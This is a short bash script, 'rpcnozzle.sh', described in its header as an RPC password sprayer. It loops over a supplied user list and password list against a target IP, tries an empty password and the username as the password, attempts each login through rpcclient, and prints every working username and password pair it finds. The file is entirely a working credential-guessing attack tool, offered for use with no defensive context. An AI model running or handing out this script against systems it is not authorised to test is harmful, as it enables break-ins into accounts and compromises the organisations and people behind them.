rpcnozzle.sh v0.2

#!/bin/bash
# via [email protected]
# rpcnozzle.sh v0.2
# rpc password sprayer

## var defs
noarg=1
nocreds=2
i=0

## function defs
argumentcheck(){
  if [ $# -lt 3 ]; then
    echo "[!] Usage: $(basename $0) <UserList> <PassList> <TargetIP>"
    exit $noarg
  fi
}
validcheck(){
  if [[ $trpcpl =~ .*Authority.* ]]; then
    echo "[!] (Username): $u (Password): $p"
    i=$((i+1))
  fi
 }
rpcconnect(){
  trpcpl=$(rpcclient -U "$u%$p" -c  "getusername;quit" $1)
}
rpcnozzle(){
  echo "[i] Testing users and passwords"
  while read u; do
    p=""
    rpcconnect $3
    validcheck
    p="$u"
    rpcconnect $3
    validcheck
    while read p; do
      rpcconnect $3
      validcheck
    done < $2
  done < $1
}
resultscheck(){
  if [ "$i" -gt 0 ]; then
    echo "[i] $i Set(s) of Credentials Found!"
    exit 0
  else
    echo "[!] No Credentials Found."
    exit $nocreds
  fi
}

## spray all the things
argumentcheck "$@"
rpcnozzle "$@"
resultscheck